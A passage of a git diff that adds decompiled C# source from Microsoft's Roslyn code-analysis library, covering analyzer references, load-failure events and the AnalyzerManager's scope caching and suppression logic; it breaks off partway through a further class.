b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerImageReference.cs @@ -0,0 +1,66 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public sealed class AnalyzerImageReference : AnalyzerReference +{ + private readonly ImmutableArray _analyzers; + + private readonly string? _fullPath; + + private readonly string? _display; + + private readonly string _id; + + public override string? FullPath => _fullPath; + + public override string Display => _display ?? _fullPath ?? CodeAnalysisResources.InMemoryAssembly; + + public override object Id => _id; + + public AnalyzerImageReference(ImmutableArray analyzers, string? fullPath = null, string? display = null) + { + if (analyzers.Any((DiagnosticAnalyzer a) => a == null)) + { + throw new ArgumentException("Cannot have null-valued analyzer", "analyzers"); + } + _analyzers = analyzers; + _fullPath = fullPath; + _display = display; + _id = Guid.NewGuid().ToString(); + } + + public override ImmutableArray GetAnalyzersForAllLanguages() + { + return _analyzers; + } + + public override ImmutableArray GetAnalyzers(string language) + { + return _analyzers; + } + + private string GetDebuggerDisplay() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append("Assembly"); + if (_fullPath != null) + { + stringBuilder.Append(" Path='"); + stringBuilder.Append(_fullPath); + stringBuilder.Append("'"); + } + if (_display != null) + { + stringBuilder.Append(" Display='"); + stringBuilder.Append(_display); + stringBuilder.Append("'"); + } + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerLoadFailureEventArgs.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerLoadFailureEventArgs.cs new file mode 100644 index 0000000..25b0771 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerLoadFailureEventArgs.cs @@ -0,0 +1,42 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public sealed class AnalyzerLoadFailureEventArgs : EventArgs +{ + public enum FailureErrorCode + { + None, + UnableToLoadAnalyzer, + UnableToCreateAnalyzer, + NoAnalyzers, + ReferencesFramework, + ReferencesNewerCompiler + } + + public string? TypeName { get; } + + public string Message { get; } + + public FailureErrorCode ErrorCode { get; } + + public Exception? Exception { get; } + + public Version? ReferencedCompilerVersion { get; internal init; } + + public AnalyzerLoadFailureEventArgs(FailureErrorCode errorCode, string message, Exception? exceptionOpt = null, string? typeNameOpt = null) + { + if (errorCode <= FailureErrorCode.None || errorCode > FailureErrorCode.ReferencesNewerCompiler) + { + throw new ArgumentOutOfRangeException("errorCode"); + } + if (message == null) + { + throw new ArgumentNullException("message"); + } + ErrorCode = errorCode; + Message = message; + TypeName = typeNameOpt; + Exception = exceptionOpt; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerManager.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerManager.cs new file mode 100644 index 0000000..fa2b335 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerManager.cs @@ -0,0 +1,695 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal class AnalyzerManager +{ + private sealed class AnalyzerExecutionContext + { + private static ImmutableDictionary s_localizableStringToException = ImmutableDictionary.Empty.WithComparers(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private readonly DiagnosticAnalyzer _analyzer; + + private readonly object _gate; + + private Dictionary?>? _lazyPendingMemberSymbolsMap; + + private Dictionary, SymbolDeclaredCompilationEvent)>? _lazyPendingSymbolEndActionsMap; + + private Task? _lazySessionScopeTask; + + private Task? _lazyCompilationScopeTask; + + private Dictionary>? _lazySymbolScopeTasks; + + private ImmutableArray _lazyDiagnosticDescriptors; + + private ImmutableArray _lazySuppressionDescriptors; + + public AnalyzerExecutionContext(DiagnosticAnalyzer analyzer) + { + _analyzer = analyzer; + _gate = new object(); + } + + public Task GetSessionAnalysisScopeAsync(AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + lock (_gate) + { + if (_lazySessionScopeTask != null) + { + return _lazySessionScopeTask; + } + return _lazySessionScopeTask = getSessionAnalysisScopeTaskSlow(this, analyzerExecutor, cancellationToken); + } + static Task getSessionAnalysisScopeTaskSlow(AnalyzerExecutionContext context, AnalyzerExecutor executor, CancellationToken cancellationToken2) + { + return Task.Run(delegate + { + HostSessionStartAnalysisScope hostSessionStartAnalysisScope = new HostSessionStartAnalysisScope(); + executor.ExecuteInitializeMethod(context._analyzer, hostSessionStartAnalysisScope, cancellationToken2); + return hostSessionStartAnalysisScope; + }, cancellationToken2); + } + } + + public void ClearSessionScopeTask() + { + lock (_gate) + { + _lazySessionScopeTask = null; + } + } + + public Task GetCompilationAnalysisScopeAsync(HostSessionStartAnalysisScope sessionScope, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + lock (_gate) + { + if (_lazyCompilationScopeTask == null) + { + _lazyCompilationScopeTask = Task.Run(delegate + { + HostCompilationStartAnalysisScope hostCompilationStartAnalysisScope = new HostCompilationStartAnalysisScope(sessionScope); + analyzerExecutor.ExecuteCompilationStartActions(sessionScope.GetAnalyzerActions(_analyzer).CompilationStartActions, hostCompilationStartAnalysisScope, cancellationToken); + return hostCompilationStartAnalysisScope; + }, cancellationToken); + } + return _lazyCompilationScopeTask; + } + } + + public void ClearCompilationScopeTask() + { + lock (_gate) + { + _lazyCompilationScopeTask = null; + } + } + + public Task GetSymbolAnalysisScopeAsync(ISymbol symbol, bool isGeneratedCodeSymbol, SyntaxTree? filterTree, TextSpan? filterSpan, ImmutableArray symbolStartActions, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + lock (_gate) + { + if (_lazySymbolScopeTasks == null) + { + _lazySymbolScopeTasks = new Dictionary>(); + } + if (!_lazySymbolScopeTasks.TryGetValue(symbol, out Task value)) + { + value = Task.Run(() => getSymbolAnalysisScopeCore(), cancellationToken); + _lazySymbolScopeTasks.Add(symbol, value); + } + return value; + } + HashSet? getDependentSymbols() + { + HashSet memberSet = null; + switch (symbol.Kind) + { + case SymbolKind.NamedType: + processMembers(((INamedTypeSymbol)symbol).GetMembers()); + break; + case SymbolKind.Namespace: + processMembers(((INamespaceSymbol)symbol).GetMembers()); + break; + } + return memberSet; + void processMembers(IEnumerable members) + { + foreach (ISymbol member in members) + { + if (!member.IsImplicitlyDeclared && member.IsInSource()) + { + if (memberSet == null) + { + memberSet = new HashSet(); + } + memberSet.Add(member); + if (member is IMethodSymbol { PartialImplementationPart: not null } methodSymbol) + { + memberSet.Add(methodSymbol.PartialImplementationPart); + } + } + if (member is INamedTypeSymbol namedTypeSymbol) + { + processMembers(namedTypeSymbol.GetMembers()); + } + } + } + } + HostSymbolStartAnalysisScope getSymbolAnalysisScopeCore() + { + HostSymbolStartAnalysisScope hostSymbolStartAnalysisScope = new HostSymbolStartAnalysisScope(); + analyzerExecutor.ExecuteSymbolStartActions(symbol, _analyzer, symbolStartActions, hostSymbolStartAnalysisScope, isGeneratedCodeSymbol, filterTree, filterSpan, cancellationToken); + if (hostSymbolStartAnalysisScope.GetAnalyzerActions(_analyzer).SymbolEndActionsCount > 0) + { + HashSet value2 = getDependentSymbols(); + lock (_gate) + { + if (_lazyPendingMemberSymbolsMap == null) + { + _lazyPendingMemberSymbolsMap = new Dictionary>(); + } + _lazyPendingMemberSymbolsMap[symbol] = value2; + } + } + return hostSymbolStartAnalysisScope; + } + } + + [Conditional("DEBUG")] + private void VerifyNewEntryForPendingMemberSymbolsMap(ISymbol symbol, HashSet? dependentSymbols) + { + if (!_lazyPendingMemberSymbolsMap.TryGetValue(symbol, out HashSet _)) + { + } + } + + public void ClearSymbolScopeTask(ISymbol symbol) + { + lock (_gate) + { + _lazySymbolScopeTasks?.Remove(symbol); + } + } + + public ImmutableArray GetOrComputeDiagnosticDescriptors(DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + return GetOrComputeDescriptors(ref _lazyDiagnosticDescriptors, ComputeDiagnosticDescriptors_NoLock, analyzer, analyzerExecutor, _gate, cancellationToken); + } + + public ImmutableArray GetOrComputeSuppressionDescriptors(DiagnosticSuppressor suppressor, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + return GetOrComputeDescriptors(ref _lazySuppressionDescriptors, ComputeSuppressionDescriptors_NoLock, suppressor, analyzerExecutor, _gate, cancellationToken); + } + + private static ImmutableArray GetOrComputeDescriptors(ref ImmutableArray lazyDescriptors, Func> computeDescriptorsNoLock, DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, object gate, CancellationToken cancellationToken) + { + if (!lazyDescriptors.IsDefault) + { + return lazyDescriptors; + } + lock (gate) + { + if (lazyDescriptors.IsDefault) + { + lazyDescriptors = computeDescriptorsNoLock(analyzer, analyzerExecutor, cancellationToken); + } + return lazyDescriptors; + } + } + + private static ImmutableArray ComputeDiagnosticDescriptors_NoLock(DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + ImmutableArray supportedDiagnostics = ImmutableArray.Empty; + analyzerExecutor.ExecuteAndCatchIfThrows(analyzer, delegate + { + ImmutableArray supportedDiagnostics2 = analyzer.SupportedDiagnostics; + if (!supportedDiagnostics2.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator2 = supportedDiagnostics2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current == null) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.SupportedDiagnosticsHasNullDescriptor, analyzer.ToString()), "SupportedDiagnostics"); + } + } + supportedDiagnostics = supportedDiagnostics2; + } + }, null, null, cancellationToken); + Action onAnalyzerException = analyzerExecutor.OnAnalyzerException; + if (onAnalyzerException != null) + { + ImmutableArray.Enumerator enumerator = supportedDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticDescriptor current = enumerator.Current; + forceLocalizableStringExceptions(current.Title); + forceLocalizableStringExceptions(current.MessageFormat); + forceLocalizableStringExceptions(current.Description); + } + } + return supportedDiagnostics; + static Exception? computeException(LocalizableString localizableString) + { + Exception localException = null; + EventHandler value = delegate(object _, Exception ex) + { + localException = ex; + }; + localizableString.OnException += value; + localizableString.ToString(); + localizableString.OnException -= value; + return localException; + } + void forceLocalizableStringExceptions(LocalizableString localizableString) + { + Exception ex = getAndCacheToStringException(localizableString); + if (ex != null) + { + Diagnostic arg = AnalyzerExecutor.CreateAnalyzerExceptionDiagnostic(analyzer, ex); + onAnalyzerException(ex, analyzer, arg, cancellationToken); + } + } + static Exception? getAndCacheToStringException(LocalizableString localizableString) + { + if (!localizableString.CanThrowExceptions) + { + return null; + } + return ImmutableInterlocked.GetOrAdd(ref s_localizableStringToException, localizableString, computeException); + } + } + + private static ImmutableArray ComputeSuppressionDescriptors_NoLock(DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + ImmutableArray descriptors = ImmutableArray.Empty; + DiagnosticSuppressor suppressor = analyzer as DiagnosticSuppressor; + if (suppressor != null) + { + analyzerExecutor.ExecuteAndCatchIfThrows(analyzer, delegate + { + ImmutableArray supportedSuppressions = suppressor.SupportedSuppressions; + if (!supportedSuppressions.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator = supportedSuppressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current == null) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.SupportedSuppressionsHasNullDescriptor, analyzer.ToString()), "SupportedSuppressions"); + } + } + descriptors = supportedSuppressions; + } + }, null, null, cancellationToken); + } + return descriptors; + } + + public bool TryProcessCompletedMemberAndGetPendingSymbolEndActionsForContainer(ISymbol containingSymbol, ISymbol processedMemberSymbol, out (ImmutableArray symbolEndActions, SymbolDeclaredCompilationEvent symbolDeclaredEvent) containerEndActionsAndEvent) + { + containerEndActionsAndEvent = default((ImmutableArray, SymbolDeclaredCompilationEvent)); + lock (_gate) + { + if (_lazyPendingMemberSymbolsMap == null || !_lazyPendingMemberSymbolsMap.TryGetValue(containingSymbol, out HashSet value)) + { + return false; + } + value.Remove(processedMemberSymbol); + if (value.Count > 0 || _lazyPendingSymbolEndActionsMap == null || !_lazyPendingSymbolEndActionsMap.TryGetValue(containingSymbol, out containerEndActionsAndEvent)) + { + return false; + } + _lazyPendingSymbolEndActionsMap.Remove(containingSymbol); + return true; + } + } + + public bool TryStartExecuteSymbolEndActions(ImmutableArray symbolEndActions, SymbolDeclaredCompilationEvent symbolDeclaredEvent) + { + ISymbol symbol = symbolDeclaredEvent.Symbol; + lock (_gate) + { + if (_lazyPendingMemberSymbolsMap.TryGetValue(symbol, out HashSet value) && value != null && value.Count > 0) + { + MarkSymbolEndAnalysisPending_NoLock(symbol, symbolEndActions, symbolDeclaredEvent); + return false; + } + _lazyPendingSymbolEndActionsMap?.Remove(symbol); + return true; + } + } + + public void MarkSymbolEndAnalysisComplete(ISymbol symbol) + { + lock (_gate) + { + _lazyPendingMemberSymbolsMap?.Remove(symbol); + } + } + + public void MarkSymbolEndAnalysisPending(ISymbol symbol, ImmutableArray symbolEndActions, SymbolDeclaredCompilationEvent symbolDeclaredEvent) + { + lock (_gate) + { + MarkSymbolEndAnalysisPending_NoLock(symbol, symbolEndActions, symbolDeclaredEvent); + } + } + + private void MarkSymbolEndAnalysisPending_NoLock(ISymbol symbol, ImmutableArray symbolEndActions, SymbolDeclaredCompilationEvent symbolDeclaredEvent) + { + if (_lazyPendingSymbolEndActionsMap == null) + { + _lazyPendingSymbolEndActionsMap = new Dictionary, SymbolDeclaredCompilationEvent)>(); + } + _lazyPendingSymbolEndActionsMap[symbol] = (symbolEndActions, symbolDeclaredEvent); + } + + [Conditional("DEBUG")] + public void VerifyAllSymbolEndActionsExecuted() + { + lock (_gate) + { + } + } + } + + private readonly ImmutableDictionary _analyzerExecutionContextMap; + + public AnalyzerManager(ImmutableArray analyzers) + { + _analyzerExecutionContextMap = CreateAnalyzerExecutionContextMap(analyzers); + } + + public AnalyzerManager(DiagnosticAnalyzer analyzer) + { + _analyzerExecutionContextMap = CreateAnalyzerExecutionContextMap(SpecializedCollections.SingletonEnumerable(analyzer)); + } + + private ImmutableDictionary CreateAnalyzerExecutionContextMap(IEnumerable analyzers) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + foreach (DiagnosticAnalyzer analyzer in analyzers) + { + builder.Add(analyzer, new AnalyzerExecutionContext(analyzer)); + } + return builder.ToImmutable(); + } + + private AnalyzerExecutionContext GetAnalyzerExecutionContext(DiagnosticAnalyzer analyzer) + { + return _analyzerExecutionContextMap[analyzer]; + } + + private async ValueTask GetCompilationAnalysisScopeAsync(DiagnosticAnalyzer analyzer, HostSessionStartAnalysisScope sessionScope, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + AnalyzerExecutionContext analyzerExecutionContext = GetAnalyzerExecutionContext(analyzer); + return await GetCompilationAnalysisScopeCoreAsync(sessionScope, analyzerExecutor, analyzerExecutionContext, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async ValueTask GetCompilationAnalysisScopeCoreAsync(HostSessionStartAnalysisScope sessionScope, AnalyzerExecutor analyzerExecutor, AnalyzerExecutionContext analyzerExecutionContext, CancellationToken cancellationToken) + { + HostCompilationStartAnalysisScope result = default(HostCompilationStartAnalysisScope); + int num; + try + { + result = await analyzerExecutionContext.GetCompilationAnalysisScopeAsync(sessionScope, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return result; + } + catch (OperationCanceledException) + { + num = 1; + } + if (num != 1) + { + return result; + } + analyzerExecutionContext.ClearCompilationScopeTask(); + cancellationToken.ThrowIfCancellationRequested(); + return await GetCompilationAnalysisScopeCoreAsync(sessionScope, analyzerExecutor, analyzerExecutionContext, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async Task GetSymbolAnalysisScopeAsync(ISymbol symbol, bool isGeneratedCodeSymbol, SyntaxTree? filterTree, TextSpan? filterSpan, DiagnosticAnalyzer analyzer, ImmutableArray symbolStartActions, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + AnalyzerExecutionContext analyzerExecutionContext = GetAnalyzerExecutionContext(analyzer); + return await GetSymbolAnalysisScopeCoreAsync(symbol, isGeneratedCodeSymbol, filterTree, filterSpan, symbolStartActions, analyzerExecutor, analyzerExecutionContext, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async Task GetSymbolAnalysisScopeCoreAsync(ISymbol symbol, bool isGeneratedCodeSymbol, SyntaxTree? filterTree, TextSpan? filterSpan, ImmutableArray symbolStartActions, AnalyzerExecutor analyzerExecutor, AnalyzerExecutionContext analyzerExecutionContext, CancellationToken cancellationToken) + { + HostSymbolStartAnalysisScope result = default(HostSymbolStartAnalysisScope); + int num; + try + { + result = await analyzerExecutionContext.GetSymbolAnalysisScopeAsync(symbol, isGeneratedCodeSymbol, filterTree, filterSpan, symbolStartActions, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return result; + } + catch (OperationCanceledException) + { + num = 1; + } + if (num != 1) + { + return result; + } + analyzerExecutionContext.ClearSymbolScopeTask(symbol); + cancellationToken.ThrowIfCancellationRequested(); + return await GetSymbolAnalysisScopeCoreAsync(symbol, isGeneratedCodeSymbol, filterTree, filterSpan, symbolStartActions, analyzerExecutor, analyzerExecutionContext, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async ValueTask GetSessionAnalysisScopeAsync(DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + AnalyzerExecutionContext analyzerExecutionContext = GetAnalyzerExecutionContext(analyzer); + return await GetSessionAnalysisScopeCoreAsync(analyzerExecutor, analyzerExecutionContext, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async ValueTask GetSessionAnalysisScopeCoreAsync(AnalyzerExecutor analyzerExecutor, AnalyzerExecutionContext analyzerExecutionContext, CancellationToken cancellationToken) + { + HostSessionStartAnalysisScope result = default(HostSessionStartAnalysisScope); + int num; + try + { + result = await analyzerExecutionContext.GetSessionAnalysisScopeAsync(analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return result; + } + catch (OperationCanceledException) + { + num = 1; + } + if (num != 1) + { + return result; + } + analyzerExecutionContext.ClearSessionScopeTask(); + cancellationToken.ThrowIfCancellationRequested(); + return await GetSessionAnalysisScopeCoreAsync(analyzerExecutor, analyzerExecutionContext, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async ValueTask GetAnalyzerActionsAsync(DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + HostSessionStartAnalysisScope hostSessionStartAnalysisScope = await GetSessionAnalysisScopeAsync(analyzer, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + if (hostSessionStartAnalysisScope.GetAnalyzerActions(analyzer).CompilationStartActionsCount > 0 && analyzerExecutor.Compilation != null) + { + return (await GetCompilationAnalysisScopeAsync(analyzer, hostSessionStartAnalysisScope, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)).GetAnalyzerActions(analyzer); + } + return hostSessionStartAnalysisScope.GetAnalyzerActions(analyzer); + } + + public async ValueTask GetPerSymbolAnalyzerActionsAsync(ISymbol symbol, bool isGeneratedCodeSymbol, SyntaxTree? filterTree, TextSpan? filterSpan, DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + AnalyzerActions analyzerActions = await GetAnalyzerActionsAsync(analyzer, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + if (analyzerActions.SymbolStartActionsCount > 0) + { + ImmutableArray symbolStartActions = getFilteredActionsByKind(analyzerActions.SymbolStartActions); + if (symbolStartActions.Length > 0) + { + return (await GetSymbolAnalysisScopeAsync(symbol, isGeneratedCodeSymbol, filterTree, filterSpan, analyzer, symbolStartActions, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)).GetAnalyzerActions(analyzer); + } + } + return AnalyzerActions.Empty; + ImmutableArray getFilteredActionsByKind(ImmutableArray immutableArray) + { + ArrayBuilder arrayBuilder = null; + for (int i = 0; i < immutableArray.Length; i++) + { + SymbolStartAnalyzerAction symbolStartAnalyzerAction = immutableArray[i]; + if (symbolStartAnalyzerAction.Kind != symbol.Kind) + { + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + arrayBuilder.AddRange(immutableArray, i); + } + } + else + { + arrayBuilder?.Add(symbolStartAnalyzerAction); + } + } + return arrayBuilder?.ToImmutableAndFree() ?? immutableArray; + } + } + + public async Task IsConcurrentAnalyzerAsync(DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + return (await GetSessionAnalysisScopeAsync(analyzer, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)).IsConcurrentAnalyzer(analyzer); + } + + public async Task GetGeneratedCodeAnalysisFlagsAsync(DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + return (await GetSessionAnalysisScopeAsync(analyzer, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)).GetGeneratedCodeAnalysisFlags(analyzer); + } + + public ImmutableArray GetSupportedDiagnosticDescriptors(DiagnosticAnalyzer analyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + return GetAnalyzerExecutionContext(analyzer).GetOrComputeDiagnosticDescriptors(analyzer, analyzerExecutor, cancellationToken); + } + + public ImmutableArray GetSupportedSuppressionDescriptors(DiagnosticSuppressor suppressor, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + return GetAnalyzerExecutionContext(suppressor).GetOrComputeSuppressionDescriptors(suppressor, analyzerExecutor, cancellationToken); + } + + internal bool IsSupportedDiagnostic(DiagnosticAnalyzer analyzer, Diagnostic diagnostic, Func isCompilerAnalyzer, AnalyzerExecutor analyzerExecutor, CancellationToken cancellationToken) + { + if (isCompilerAnalyzer(analyzer)) + { + return true; + } + ImmutableArray.Enumerator enumerator = GetSupportedDiagnosticDescriptors(analyzer, analyzerExecutor, cancellationToken).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Id.Equals(diagnostic.Id, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + return false; + } + + internal bool IsDiagnosticAnalyzerSuppressed(DiagnosticAnalyzer analyzer, CompilationOptions options, Func isCompilerAnalyzer, AnalyzerExecutor analyzerExecutor, AnalysisScope analysisScope, SeverityFilter severityFilter, CancellationToken cancellationToken) + { + Func> getSupportedDiagnosticDescriptors = (DiagnosticAnalyzer analyzer2) => GetSupportedDiagnosticDescriptors(analyzer2, analyzerExecutor, cancellationToken); + Func> getSupportedSuppressionDescriptors = (DiagnosticSuppressor suppressor) => GetSupportedSuppressionDescriptors(suppressor, analyzerExecutor, cancellationToken); + return IsDiagnosticAnalyzerSuppressed(analyzer, options, isCompilerAnalyzer, severityFilter, isEnabledWithAnalyzerConfigOptions, getSupportedDiagnosticDescriptors, getSupportedSuppressionDescriptors, cancellationToken); + bool isEnabledWithAnalyzerConfigOptions(DiagnosticDescriptor descriptor) + { + SyntaxTreeOptionsProvider syntaxTreeOptionsProvider = analyzerExecutor.Compilation.Options.SyntaxTreeOptionsProvider; + if (syntaxTreeOptionsProvider != null) + { + ImmutableArray.Enumerator enumerator = analysisScope.SyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + if ((syntaxTreeOptionsProvider.TryGetDiagnosticValue(current, descriptor.Id, cancellationToken, out var severity) || analyzerExecutor.AnalyzerOptions.TryGetSeverityFromBulkConfiguration(current, analyzerExecutor.Compilation, descriptor, cancellationToken, out severity)) && severity != ReportDiagnostic.Suppress && !severityFilter.Contains(severity)) + { + return true; + } + } + } + return false; + } + } + + internal static bool IsDiagnosticAnalyzerSuppressed(DiagnosticAnalyzer analyzer, CompilationOptions options, Func isCompilerAnalyzer, SeverityFilter severityFilter, Func isEnabledWithAnalyzerConfigOptions, Func> getSupportedDiagnosticDescriptors, Func> getSupportedSuppressionDescriptors, CancellationToken cancellationToken) + { + if (isCompilerAnalyzer(analyzer)) + { + return false; + } + ImmutableArray immutableArray = getSupportedDiagnosticDescriptors(analyzer); + ImmutableDictionary specificDiagnosticOptions = options.SpecificDiagnosticOptions; + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticDescriptor current = enumerator.Current; + if (current.IsNotConfigurable()) + { + if (current.IsEnabledByDefault) + { + return false; + } + continue; + } + bool flag = !current.IsEnabledByDefault; + if ((specificDiagnosticOptions.TryGetValue(current.Id, out var value) || (options.SyntaxTreeOptionsProvider != null && options.SyntaxTreeOptionsProvider.TryGetGlobalDiagnosticValue(current.Id, cancellationToken, out value))) && value != ReportDiagnostic.Default) + { + flag = value == ReportDiagnostic.Suppress; + } + else + { + value = (flag ? ReportDiagnostic.Suppress : DiagnosticDescriptor.MapSeverityToReport(current.DefaultSeverity)); + } + if (severityFilter.Contains(value)) + { + flag = true; + } + if (flag && isEnabledWithAnalyzerConfigOptions(current)) + { + flag = false; + } + if (!flag) + { + return false; + } + } + if (analyzer is DiagnosticSuppressor arg) + { + ImmutableArray.Enumerator enumerator2 = getSupportedSuppressionDescriptors(arg).GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (!enumerator2.Current.IsDisabled(options)) + { + return false; + } + } + } + return true; + } + + internal static bool HasCompilerOrNotConfigurableTag(ImmutableArray customTags) + { + ImmutableArray.Enumerator enumerator = customTags.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if ((current == "Compiler" || current == "NotConfigurable") ? true : false) + { + return true; + } + } + return false; + } + + internal static bool HasNotConfigurableTag(ImmutableArray customTags) + { + ImmutableArray.Enumerator enumerator = customTags.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current == "NotConfigurable") + { + return true; + } + } + return false; + } + + public bool TryProcessCompletedMemberAndGetPendingSymbolEndActionsForContainer(ISymbol containingSymbol, ISymbol processedMemberSymbol, DiagnosticAnalyzer analyzer, out (ImmutableArray symbolEndActions, SymbolDeclaredCompilationEvent symbolDeclaredEvent) containerEndActionsAndEvent) + { + return GetAnalyzerExecutionContext(analyzer).TryProcessCompletedMemberAndGetPendingSymbolEndActionsForContainer(containingSymbol, processedMemberSymbol, out containerEndActionsAndEvent); + } + + public bool TryStartExecuteSymbolEndActions(ImmutableArray symbolEndActions, DiagnosticAnalyzer analyzer, SymbolDeclaredCompilationEvent symbolDeclaredEvent) + { + return GetAnalyzerExecutionContext(analyzer).TryStartExecuteSymbolEndActions(symbolEndActions, symbolDeclaredEvent); + } + + public void MarkSymbolEndAnalysisPending(ISymbol symbol, DiagnosticAnalyzer analyzer, ImmutableArray symbolEndActions, SymbolDeclaredCompilationEvent symbolDeclaredEvent) + { + GetAnalyzerExecutionContext(analyzer).MarkSymbolEndAnalysisPending(symbol, symbolEndActions, symbolDeclaredEvent); + } + + public void MarkSymbolEndAnalysisComplete(ISymbol symbol, DiagnosticAnalyzer analyzer) + { + GetAnalyzerExecutionContext(analyzer).MarkSymbolEndAnalysisComplete(symbol); + } + + [Conditional("DEBUG")] + public void VerifyAllSymbolEndActionsExecuted() + { + foreach (AnalyzerExecutionContext value in _analyzerExecutionContextMap.Values) + { + _ = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOperationBlockStartAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOperationBlockStartAnalysisContext.cs new file mode 100644 index 0000000..4826285 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOperationBlockStartAnalysisContext.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.FlowAnalysis; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class AnalyzerOperationBlockStartAnalysisContext : OperationBlockStartAnalysisContext +{ + private readonly DiagnosticAnalyzer _analyzer; + + private readonly HostOperationBlockStartAnalysisScope _scope; + + internal AnalyzerOperationBlockStartAnalysisContext(DiagnosticAnalyzer analyzer, HostOperationBlockStartAnalysisScope scope, ImmutableArray operationBlocks, ISymbol owningSymbol, Compilation compilation, AnalyzerOptions options, Func getControlFlowGraph, SyntaxTree filterTree, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + : base(operationBlocks, owningSymbol, compilation, options, getControlFlowGraph, filterTree, filterSpan, isGeneratedCode, cancellationToken) + { + _analyzer = analyzer; + _scope = scope; + } + + public override void RegisterOperationBlockEndAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterOperationBlockEndAction(_analyzer, action); + } + + public override void 